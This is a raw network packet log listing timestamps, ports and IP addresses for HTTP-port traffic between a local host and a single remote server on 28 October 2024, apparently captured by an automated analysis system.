Oct 28, 2024 07:18:45.681998968 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682022095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682033062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682044029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682054996 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682065964 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682082891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682102919 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682130098 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682130098 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682720900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682732105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682743073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682789087 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682869911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682882071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682892084 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682903051 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682914972 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682925940 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682928085 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682935953 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682946920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682960033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682967901 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.682970047 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682981968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.682982922 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.683022022 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.683022022 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.684434891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684467077 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684477091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684488058 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684499979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684510946 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684523106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684536934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684539080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.684539080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.684551001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684571028 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.684586048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.684593916 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.684679031 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.688597918 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.695270061 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695281982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695292950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695303917 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695321083 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695333004 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695334911 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.695343971 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695357084 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695378065 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695383072 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.695389986 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.695424080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.695424080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.709119081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709208012 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709218979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709235907 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709252119 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709261894 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.709264994 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709276915 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709289074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709300041 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709310055 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709321976 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709333897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709343910 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.709352016 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.709352016 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.709383965 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.709402084 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.729794979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.729834080 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.729866028 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.729887962 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.729922056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.729973078 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730001926 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730012894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730019093 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730020046 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730022907 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730040073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730051041 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730052948 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730057001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730067968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730077982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730089903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730099916 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730106115 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730119944 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730124950 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730124950 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730134010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730143070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730153084 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730161905 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730161905 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730165005 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730179071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730191946 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730201960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730211020 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730214119 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730226040 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730232000 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730235100 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.730272055 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.730292082 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.772746086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.772758961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.772770882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.772880077 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.814166069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814207077 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814227104 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814238071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814266920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814279079 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.814279079 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.814311028 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.814315081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814327002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814373970 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.814404964 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814416885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814429998 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814441919 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814454079 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.814479113 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.814479113 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828322887 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828361988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828382015 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828382969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828394890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828407049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828418970 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828437090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828449011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828449011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828449965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828461885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828474045 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828493118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828505993 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828509092 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828509092 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828516006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828527927 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828535080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828541040 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828552961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828566074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.828567982 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828603029 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.828603029 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.834976912 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849180937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849241972 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849311113 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849323988 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849345922 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849380016 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849395037 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849396944 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849410057 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849431992 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849441051 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849447012 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849478960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849488020 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849495888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849509954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849524021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849539995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849549055 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849556923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849567890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849574089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849589109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849594116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849598885 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849606991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849617958 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849630117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849642992 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.849652052 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849652052 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.849694967 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.891760111 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.891808033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.891819000 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.891819954 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.891829014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.891863108 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.897713900 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.933614969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.933671951 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.933672905 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.933708906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.933759928 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.933765888 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.933815956 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.933851957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.933901072 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.933971882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.934005022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.934025049 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.934057951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.934087038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.934103966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.934117079 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.934146881 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.934146881 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.947730064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.947802067 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.947803020 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.947814941 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.947873116 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.947947979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.947959900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.947972059 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948014975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948024988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948035955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948048115 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948060036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948062897 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.948062897 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.948107958 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.948124886 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.948142052 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948153973 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948170900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948183060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948194027 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.948204041 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.948381901 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968229055 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968252897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968266010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968286037 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968307972 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968317032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968329906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968341112 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968353987 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968370914 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968383074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968386889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968394995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968400002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968425989 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968439102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968441963 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968451977 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968456030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968476057 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968487024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968497038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968501091 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968509912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968522072 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968533993 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968554974 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968573093 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968573093 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968625069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968641996 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968658924 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968669891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968688011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968700886 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968719006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968774080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.968791962 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968805075 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968816042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.968864918 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.008327007 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.010942936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.010960102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.010972023 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.011080980 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.011998892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.044950962 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.052556038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052576065 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052587986 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052643061 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052654982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052658081 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.052658081 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.052665949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052685022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052695036 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.052699089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052709103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052716017 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052737951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.052762032 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.052814007 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.066725969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.066739082 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.066751957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.066762924 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.066773891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.066812992 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.066812992 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067002058 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067013979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067023993 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067034960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067045927 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067054033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067065001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067075968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067089081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067101002 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067101002 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067107916 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067145109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067256927 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067269087 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067286015 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067290068 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067300081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067311049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067323923 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.067328930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.067339897 CET	49717	80	192.168.2.8	185.215.113.16
